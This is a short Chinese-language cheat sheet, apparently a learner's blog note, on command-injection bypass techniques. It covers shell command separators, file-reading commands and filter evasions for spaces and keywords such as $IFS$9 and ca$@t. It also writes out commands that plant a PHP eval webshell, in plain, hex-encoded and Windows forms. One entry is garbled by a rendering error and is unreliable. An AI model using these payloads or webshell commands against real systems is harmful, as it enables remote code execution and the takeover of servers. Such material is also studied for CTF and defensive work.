首先:Command Injection 是web程序對用戶提交數據檢測不嚴格造成的命令攻擊。與sql注入攻擊一樣都會造成很大的危害。–走向一個安全小白的總結之路
一些繞過總結
-
命令連接符
- “;”:執行完前面的語句再執行後面的語句。
- “|”:顯示後面語句的執行結果。
- “||”:當前面的語句執行出錯時,執行後面的語句。
- “&”:兩條命令都執行,如果前面的語句爲假則執行執行後面的語句,前面的語句可真可假。
- “&&”:如果前面的語句爲假則直接出錯,也不執行後面的語句,前面的語句爲真則兩條命令都執行,前面的語句只能爲真。
- %0a“這個爲url編碼的換行符,不能在linux下直接使用需要通過php環境下”(在過濾掉前面幾種後可以考慮);
-
查看文件內容的命令
- “cat" 由第一行開始顯示,並將所有內容輸出。
- “tac”與cat相反,從最後一行開始逐行輸出。
- “more” 就是我們管道中常用的分頁顯示。
- “head”可以顯示文本內容的前幾行
- “tail”顯示末尾幾行
- “nl”與cat -n 命令一樣,輸出內容並顯示行號 ;
-
通過命令行編寫webshell
- “linux":echo “<?php eval(@\$_POST['pass']);?>” > webshell.php;
- echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php//與上一種異曲同工,知識轉成了16進制 |xxd是將16進制轉回去
- windos下:“echo ^<?php eval($_POST[pass]); ?^> > webshell.php”
-
不適用空格的姿勢
- “{ls,-a}"
- “<”:ls<-a
- IFS在linux下表示分隔符,但是如果單純的cat可以起到截斷的作用,但是爲什麼要用$9呢,因爲$9只是當前系統shell進程的第九個參數的持有者,它始終爲空字符串。
- 使用環境變量:shell=KaTeX parse error: Undefined control sequence: \x at position 2: '\̲x̲20123';\x20是空格。…(find flag*).
5.**當過濾大部分操時候**
1. 可以使用$@,例如:ca$@t flag